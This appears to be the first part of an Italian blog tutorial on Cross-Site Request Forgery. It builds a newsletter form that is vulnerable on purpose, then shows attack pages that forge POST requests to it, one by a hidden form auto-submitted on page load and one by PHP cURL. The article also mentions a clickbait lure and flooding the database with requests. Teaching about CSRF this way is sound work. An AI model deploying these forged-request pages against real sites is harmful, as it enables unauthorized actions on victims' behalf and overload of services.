Nella serie di articoli andremo ad analizzare in dettaglio il “famoso” CSRF (Cross Site Request Forgery) ossia la possibilita’ di forgiare una richiesta da un sito verso un altro tramite un utente autorizzato a farlo descritta dal mitre come 12ima minaccia tra le top 25 peggiori errori di sviluppo in circolazione nel 2011 (forse nel 2012 scalera’ questa triste classifica!).
Supponendo infatti che un utente sia loggato nell’area di amministrazione e navigasse un altro sito malevolo da questo sarebbe possibile forgiare delle richieste ad hoc che verrebbero autorizzate dal sito attaccato in quanto e’ come se l’amministratore le facesse.
In questo articolo, oltre a questo tipo di attacco vedremo come sarebbe possibile sovraccaricare i sistemi di richieste fino a saturare in poco tempo il database e quindi portare al collasso il sistema per analizzare alcune contromisure che spesso vengono messe in atto ma che potrebbero essere violate, in particolare, andando per gradi avremo a che fare con:
1. passaggio di parametri in post da un form
2. passaggio di parametri in post con validazione del referral
3. passsaggio di parametri in post con validazione del referral e campo hidden come consigliato da alcuni “esperti” di sicurezza
Per non contraddire alcuni massimi esperti del settore come Felten e Zeller ed il loro “double-submitted cookie” daremo solo uno spunto sul sistema piu’ sicuro circa la doppia verifica di cookie e one time token (tipicamente chiamati nonces).
Supponiamo di essere in una comune situazione di iscrizione alla newsletter con un form in cui l’utente dovra’ inserire un indirizzo mail valido per potersi iscrivere.
La cosa piu’ elementare sarebbe quella di avere un codice simile al seguente:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>BITuBIT – CSRF: esempio 1</title>
</head>
<body>
<form action=”invia_form.php” name=”modulo” method=”post”>
Nuovo indirizzo email: <input type=”text” name=”email” value=”” />
<br /><input type=”submit” value=”Cambia Email >>” />
</form>
</body>
</html>
ma visto che in questo caso anche scrivendo “arcangeloGabriele” il sistema invierebbe la richiesta noi siamo piu’ bravi ed inseriamo un controllo, tipicamente in Javascript quindi il nostro codice da elementare si potrebbe evolvere in:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>BITuBIT – CSRF: esempio 1</title>
</head>
<body>
<script>
function controlla_form()
{
var Filtro = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-]{2,})+\.)+([a-zA-Z0-9]{2,4})$/;
var email = document.modulo.email.value;
if (!Filtro.test(email)) {
alert(“Indirizzo mail vuoto o non corretto.”);
document.modulo.email.focus();
return false;
}
else
document.modulo.submit();
}
</script>
<form action=”invia_form.php” name=”modulo” method=”post” onsubmit=”controlla_form(); return false;”>
Nuovo indirizzo email: <input type=”text” name=”email” value=”” />
<br /><input type=”submit” value=”Cambia Email >>” />
</form>
</body>
</html>
A questo punto tutti i furbastri che volessero scrivere un indirizzo mail non valido non riuscirebbero ad iscriversi….sicuri ?
E se avessero un browser come firefox con un addon tipo la web developer toolbar che gli permettesse con pochi click di disattivare i javascript ?
Orbene quindi come cosa fondamentale e’ la validazione dei dati anche nella pagina di ricezione dati (nel nostro esempio invia_form.php) onde evitare spiacevoli sorprese.
Il codice nella nostra pagina invia_form.php potrebbe essere una cosa tipo:
<?php
$email = addslashes($_POST[‘email’]);
if(!(filter_var($email, FILTER_VALIDATE_EMAIL)))
echo(“Indirizzo mail non valido”);
else
echo(“Nuovo indirizzo mail registrato: “.$email); // Evitiamo il salvataggio nel DB che sarebbe in questa sezione…
?>
A video, se l’utente inserira’ quindi un indirizzo mail valido comparira’ quindi:
Nuovo indirizzo mail registrato: info@freescriptphp.com
Wow….abbiamo realizzato il nostro primo form affetto da CSRF! 🙁
Immaginiamo infatti che lo script si trovi sul nostro spazio hosting raggiungibile all’indirizzo:
http://www.freescriptphp.com/form.php
Ed immaginiamo il cattivo di turno che abbia in qualche modo trovato un bello spazio hosting tutto per se raggiungibile ad un altro indirizzo dove caricare un codice tipo:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>BITuBIT – CSRF: esempio 1</title>
</head>
<SCRIPT>
function SendAttack () {
document.form.email.value = “info@freescriptphp.com”;
document.form.submit();
}
</SCRIPT>
<BODY onload=”javascript:SendAttack();”>
<form action=”http://www.freescriptphp.com/invia_form.php” id=”form” method=”post” name=”form”>
<input type=”hidden” name=”email” value=””>
</form>
</BODY>
</html>
In questo esempio, al semplice caricamento della pagina (notare l’evento onload nel body) si attivera’ il relativo javascript che completare’ l’indirizzo mail nel form ed inviera’ i dati dove ? Al nostro sito! Arghhh, disastro…
L’esempio puo’ essere testato anche da locale cambiando opportunamente i parametri della action del form cui inviare i dati in post.
Un altro sistema, invece di utilizzare i Javascript e l’evento onload potrebbe essere quello di usare una sezione in PHP per eseguire del codice solo su richiesta, ad esempio:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>BITuBIT – CSRF: esempio 1</title>
</head>
<body>
<form method=”post” name=”modulo”>
<input type=”hidden” value=”1″ name=”esempio1″ />
<input type=”submit” value=”Attiva cattivo 1″ />
</form>
<?php
if ( (isset($_POST[‘esempio1’])) AND (strlen($_POST[‘esempio1’])>0) )
{
$url = ‘http://www.freescriptphp.com/invia_form.php’;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘multipart/form-data’));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘email’ => ‘info@freescriptphp.com’));
$risultato = curl_exec($ch);
curl_close($ch);
}
?>
</BODY>
</html>
Invece di “Attiva cattivo 1” avremo potuto scrivere guarda il “nuovo video hard di ajeje brazo!” ad esempio per attirare di piu’ l’attenzione (o forse cosi’ sarebbe scappato ? (: ).
Chiaramente la parte in PHP avrebbe potuto anche essere eseguita senza lasciare tracce nel codice di alcun genere!
Cosa succede ? Utilizzando le librerie CURL si effettua una richiesta verso la pagina desiderata con i parametri passati in POST in questo caso il solo campo email.
Il risultato ?
Nuovo indirizzo mail registrato: info@freescriptphp.com
Ops…disastro, sopratutto se l’utente mettesse in atto una serie infinita di richieste!
Nel prossimo articolo vedremo come implementare un controllo ulteriore e come sia anch’esso disutile ):
Un commento su “CSRF: la 12ima minaccia del mitre Parte 1/3”